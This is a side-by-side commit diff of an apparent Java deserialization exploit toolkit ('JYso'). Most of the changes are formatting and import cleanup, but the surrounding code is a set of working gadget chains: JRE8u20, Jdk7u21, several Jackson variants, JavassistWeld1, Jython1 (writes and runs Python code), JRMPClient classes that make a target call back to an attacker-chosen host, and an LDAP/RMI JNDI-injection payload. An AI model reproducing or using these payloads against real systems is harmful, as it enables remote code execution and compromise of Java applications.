Class<?> nodeC; Class<?> nodeC;
try { try {
nodeC = Class.forName("java.util.HashMap$Node"); nodeC = Class.forName("java.util.HashMap$Node");
} } catch (ClassNotFoundException e) {
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry"); nodeC = Class.forName("java.util.HashMap$Entry");
} }
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
@@ -211,10 +213,10 @@ public class JDKUtil {
} }
@SuppressWarnings ( { @SuppressWarnings({
"rawtypes", "unchecked" "rawtypes", "unchecked"
} ) })
public static Queue<Object> makePriorityQueue ( Object tgt, Comparator comparator ) throws Exception { public static Queue<Object> makePriorityQueue(Object tgt, Comparator comparator) throws Exception {
// create queue with numbers and basic comparator // create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator); final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
// stub data for replacement later // stub data for replacement later
@@ -223,17 +225,17 @@ public class JDKUtil {
// switch contents of queue // switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[ 0 ] = tgt; queueArray[0] = tgt;
queueArray[ 1 ] = tgt; queueArray[1] = tgt;
return queue; return queue;
} }
@SuppressWarnings ( { @SuppressWarnings({
"rawtypes", "unchecked" "rawtypes", "unchecked"
} ) })
public static TreeMap<Object, Object> makeTreeMap ( Object tgt, Comparator comparator ) throws Exception { public static TreeMap<Object, Object> makeTreeMap(Object tgt, Comparator comparator) throws Exception {
TreeMap<Object, Object> tm = new TreeMap<>(comparator); TreeMap<Object, Object> tm = new TreeMap<>(comparator);
Class<?> entryCl = Class.forName("java.util.TreeMap$Entry"); Class<?> entryCl = Class.forName("java.util.TreeMap$Entry");
@@ -250,29 +252,29 @@ public class JDKUtil {
} }
public static <T> T createProxy (final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) { public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface; allIfaces[0] = iface;
if ( ifaces.length > 0 ) { if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
} }
return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih)); return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih));
} }
public static Map<String, Object> createMap ( final String key, final Object val ) { public static Map<String, Object> createMap(final String key, final Object val) {
final Map<String, Object> map = new HashMap<>(); final Map<String, Object> map = new HashMap<>();
map.put(key, val); map.put(key, val);
return map; return map;
} }
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception { public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(TemplatesUtil.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); return (InvocationHandler) Reflections.getFirstCtor(TemplatesUtil.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
} }
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception { public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
} }
} }
src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java
+9 -9
View File
@@ -50,8 +50,8 @@ public class JRE8u20 implements ObjectPayload<Object> {
} }
public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception { public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {
TCObject obj = new TCObject(ser); TCObject obj = new TCObject(ser);
TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport"); TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");
TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport"); TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");
beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class)); beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData(); TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
@@ -72,15 +72,15 @@ public class JRE8u20 implements ObjectPayload<Object> {
} }
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
Serialization ser = new Serialization(); Serialization ser = new Serialization();
Object templates = makeTemplates(command); Object templates = makeTemplates(command);
HashMap<Object, Object> map = new HashMap<Object, Object>(); HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("f5a5a608", templates); map.put("f5a5a608", templates);
TCObject handler = makeHandler(map, ser); TCObject handler = makeHandler(map, ser);
TCObject linkedHashset = new TCObject(ser); TCObject linkedHashset = new TCObject(ser);
TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet"); TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData(); TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet"); TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class)); hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
TCObject.ObjectData hashsetData = new TCObject.ObjectData(); TCObject.ObjectData hashsetData = new TCObject.ObjectData();
hashsetData.addData(makeBeanContextSupport(handler, ser)); hashsetData.addData(makeBeanContextSupport(handler, ser));
src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java
+3 -3
View File
@@ -19,8 +19,8 @@ import java.util.Map;
public class JRE8u20_2 implements ObjectPayload<Object> { public class JRE8u20_2 implements ObjectPayload<Object> {
public static Class newInvocationHandlerClass() throws Exception { public static Class newInvocationHandlerClass() throws Exception {
ClassPool pool = ClassPool.getDefault(); ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS); CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" + CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
" os.defaultWriteObject();\n" + " os.defaultWriteObject();\n" +
" }", clazz); " }", clazz);
@@ -35,7 +35,7 @@ public class JRE8u20_2 implements ObjectPayload<Object> {
final Object templates; final Object templates;
templates = Gadgets.createTemplatesImpl(command); templates = Gadgets.createTemplatesImpl(command);
Class ihClass = newInvocationHandlerClass(); Class ihClass = newInvocationHandlerClass();
Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class); Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true); constructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>()); InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>());
src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java
+5 -5
View File
@@ -48,8 +48,8 @@ public class JRMPClient implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
String host; String host;
int port; int port;
int sep = command.indexOf(':'); int sep = command.indexOf(':');
if (sep < 0) { if (sep < 0) {
port = new Random().nextInt(65535); port = new Random().nextInt(65535);
host = command; host = command;
@@ -57,9 +57,9 @@ public class JRMPClient implements ObjectPayload<Object> {
host = command.substring(0, sep); host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1)); port = Integer.valueOf(command.substring(sep + 1));
} }
ObjID id = new ObjID(new Random().nextInt()); // RMI registry ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port); TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{ Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
Registry.class Registry.class
src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java
+6 -6
View File
@@ -16,7 +16,7 @@ public class JRMPClient_Activator implements ObjectPayload<Activator> {
@Override @Override
public Activator getObject(String command) throws Exception { public Activator getObject(String command) throws Exception {
String host; String host;
int port, sep = command.indexOf(':'); int port, sep = command.indexOf(':');
if (sep < 0) { if (sep < 0) {
port = (new Random()).nextInt(65535); port = (new Random()).nextInt(65535);
host = command; host = command;
@@ -24,11 +24,11 @@ public class JRMPClient_Activator implements ObjectPayload<Activator> {
host = command.substring(0, sep); host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1)).intValue(); port = Integer.valueOf(command.substring(sep + 1)).intValue();
} }
ObjID id = new ObjID((new Random()).nextInt()); ObjID id = new ObjID((new Random()).nextInt());
TCPEndpoint te = new TCPEndpoint(host, port); TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj); Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj);
return proxy; return proxy;
} }
} }
src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java
+4 -4
View File
@@ -14,7 +14,7 @@ public class JRMPClient_Obj implements ObjectPayload<RemoteObjectInvocationHandl
@Override @Override
public RemoteObjectInvocationHandler getObject(String command) throws Exception { public RemoteObjectInvocationHandler getObject(String command) throws Exception {
String host; String host;
int port, sep = command.indexOf(':'); int port, sep = command.indexOf(':');
if (sep < 0) { if (sep < 0) {
port = (new Random()).nextInt(65535); port = (new Random()).nextInt(65535);
host = command; host = command;
@@ -22,9 +22,9 @@ public class JRMPClient_Obj implements ObjectPayload<RemoteObjectInvocationHandl
host = command.substring(0, sep); host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1)).intValue(); port = Integer.valueOf(command.substring(sep + 1)).intValue();
} }
ObjID id = new ObjID((new Random()).nextInt()); ObjID id = new ObjID((new Random()).nextInt());
TCPEndpoint te = new TCPEndpoint(host, port); TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
return obj; return obj;
} }
src/main/java/com/qi4l/JYso/gadgets/JSON1.java
+4 -4
View File
@@ -63,7 +63,7 @@ public class JSON1 implements ObjectPayload<Object> {
new String[]{"a"}, new String[]{"a"},
new OpenType[]{javax.management.openmbean.SimpleType.INTEGER} new OpenType[]{javax.management.openmbean.SimpleType.INTEGER}
); );
TabularType tt = new TabularType("a", "b", rt, new String[]{"a"}); TabularType tt = new TabularType("a", "b", rt, new String[]{"a"});
TabularDataSupport t1 = new TabularDataSupport(tt); TabularDataSupport t1 = new TabularDataSupport(tt);
TabularDataSupport t2 = new TabularDataSupport(tt); TabularDataSupport t2 = new TabularDataSupport(tt);
@@ -72,14 +72,14 @@ public class JSON1 implements ObjectPayload<Object> {
AdvisedSupport as = new AdvisedSupport(); AdvisedSupport as = new AdvisedSupport();
as.setTarget(tql); as.setTarget(tql);
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as); InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"); InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler); ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler); Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
JSONObject jo = new JSONObject(); JSONObject jo = new JSONObject();
Map m = new HashMap(); Map m = new HashMap();
m.put("t", cdsProxy); m.put("t", cdsProxy);
Reflections.setFieldValue(jo, "properties", m); Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(jo, "properties", m); Reflections.setFieldValue(jo, "properties", m);
src/main/java/com/qi4l/JYso/gadgets/Jackson1.java
+1 -2
View File
@@ -2,7 +2,6 @@ package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode; import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import javassist.CtMethod; import javassist.CtMethod;
@@ -31,7 +30,7 @@ public class Jackson1 implements ObjectPayload<Object> {
POJONode node = new POJONode(tempImpl); POJONode node = new POJONode(tempImpl);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node); setFieldValue(val, "val", node);
//清除堆栈信息 //清除堆栈信息
setFieldValue(val, "stackTrace", new StackTraceElement[0]); setFieldValue(val, "stackTrace", new StackTraceElement[0]);
src/main/java/com/qi4l/JYso/gadgets/Jackson2.java
+6 -8
View File
@@ -2,18 +2,16 @@ package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode; import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import javassist.CtMethod; import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import javax.xml.transform.Templates;
import javax.management.BadAttributeValueExpException;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
@@ -24,22 +22,22 @@ public class Jackson2 implements ObjectPayload<Object> {
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true); constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy; return proxy;
} }
public Object getObject(final String command) throws Exception { public Object getObject(final String command) throws Exception {
try { try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace); ctClass.removeMethod(writeReplace);
ctClass.toClass(); ctClass.toClass();
} catch (Exception EE) { } catch (Exception EE) {
} }
POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node); setFieldValue(val, "val", node);
//清除堆栈信息 //清除堆栈信息
setFieldValue(val, "stackTrace", new StackTraceElement[0]); setFieldValue(val, "stackTrace", new StackTraceElement[0]);
src/main/java/com/qi4l/JYso/gadgets/Jackson3.java
+6 -31
View File
@@ -3,26 +3,23 @@ package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode; import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import org.springframework.aop.framework.AdvisedSupport;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import javassist.CtMethod; import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.AdvisorChainFactory; import org.springframework.aop.framework.AdvisorChainFactory;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.lang.reflect.*;
import java.util.Vector; import java.util.Vector;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
//Jackson2链的JDK17改造 //Jackson2链的JDK17改造
@@ -46,7 +43,7 @@ public class Jackson3 implements ObjectPayload<Object> {
Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true); constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy; return proxy;
} }
@@ -76,30 +73,10 @@ public class Jackson3 implements ObjectPayload<Object> {
return list; return list;
} }
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
@Override @Override
public Object getObject(final String command) throws Exception { public Object getObject(final String command) throws Exception {
try { try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace); ctClass.removeMethod(writeReplace);
ctClass.toClass(); ctClass.toClass();
@@ -121,6 +98,4 @@ public class Jackson3 implements ObjectPayload<Object> {
return getEventListenerList(node); return getEventListenerList(node);
} }
} }
src/main/java/com/qi4l/JYso/gadgets/Jackson4.java
+4 -4
View File
@@ -22,7 +22,7 @@ public class Jackson4 implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
try { try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace); ctClass.removeMethod(writeReplace);
ctClass.toClass(); ctClass.toClass();
@@ -31,9 +31,9 @@ public class Jackson4 implements ObjectPayload<Object> {
} }
POJONode node = new POJONode(makeTemplatesImplAopProxy(command)); POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
XObject xString = new XString("foo"); XObject xString = new XString("foo");
HashMap<Object, Object> map1 = new HashMap(); HashMap<Object, Object> map1 = new HashMap();
HashMap<Object, Object> map2 = new HashMap(); HashMap<Object, Object> map2 = new HashMap();
map1.put("yy", node); map1.put("yy", node);
map1.put("zZ", xString); map1.put("zZ", xString);
map2.put("yy", xString); map2.put("yy", xString);
src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java
+7 -7
View File
@@ -24,17 +24,17 @@ public class JacksonLdapAttr implements ObjectPayload<Object> {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
} }
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace); ctClass.removeMethod(writeReplace);
ctClass.toClass(); ctClass.toClass();
try { try {
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class}); Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
clazz_cons.setAccessible(true); clazz_cons.setAccessible(true);
BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"}); BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"});
Field bcu_fi = clazz.getDeclaredField("baseCtxURL"); Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
bcu_fi.setAccessible(true); bcu_fi.setAccessible(true);
bcu_fi.set(la, command); bcu_fi.set(la, command);
CompositeName cn = new CompositeName(); CompositeName cn = new CompositeName();
@@ -43,9 +43,9 @@ public class JacksonLdapAttr implements ObjectPayload<Object> {
Field rdn_fi = clazz.getDeclaredField("rdn"); Field rdn_fi = clazz.getDeclaredField("rdn");
rdn_fi.setAccessible(true); rdn_fi.setAccessible(true);
rdn_fi.set(la, cn); rdn_fi.set(la, cn);
POJONode node = new POJONode(la); POJONode node = new POJONode(la);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val"); Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true); valfield.setAccessible(true);
valfield.set(val, node); valfield.set(val, node);
return val; return val;
src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java
+3 -3
View File
@@ -37,9 +37,9 @@ public class JavassistWeld1 implements ObjectPayload<Object> {
final Object tpl; final Object tpl;
tpl = Gadgets.createTemplatesImpl(command); tpl = Gadgets.createTemplatesImpl(command);
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<InterceptionType>(); Set<InterceptionType> s = new HashSet<InterceptionType>();
s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
src/main/java/com/qi4l/JYso/gadgets/Jdk7u21.java
+1 -1
View File
@@ -72,7 +72,7 @@ public class Jdk7u21 implements ObjectPayload<Object> {
map.put(zeroHashCodeStr, "foo"); map.put(zeroHashCodeStr, "foo");
// 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理 // 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0]; Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true); constructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map); InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
src/main/java/com/qi4l/JYso/gadgets/Jython1.java
+3 -3
View File
@@ -81,7 +81,7 @@ public class Jython1 implements ObjectPayload<PriorityQueue> {
// Helping consts and names // Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
String[] names = new String[]{"open", "write", "close", "execfile"}; String[] names = new String[]{"open", "write", "close", "execfile"};
// Generating PyBytecode wrapper for our python bytecode // Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, ""); PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, "");
@@ -91,9 +91,9 @@ public class Jython1 implements ObjectPayload<PriorityQueue> {
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
// Prepare Trigger Gadget // Prepare Trigger Gadget
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, (InvocationHandler) handler); Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, (InvocationHandler) handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[]{1, 1}; Object[] queue = new Object[]{1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2); Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue; return priorityQueue;
src/main/java/com/qi4l/JYso/gadgets/LazySearchEnumeration.java
+2 -2
View File
@@ -2,12 +2,12 @@ package com.qi4l.JYso.gadgets;
import java.net.URI; import java.net.URI;
public class LazySearchEnumeration implements ObjectPayload<Object>{ public class LazySearchEnumeration implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory(); UtilFactory uf = new UtilFactory();
URI uri = new URI(command); URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
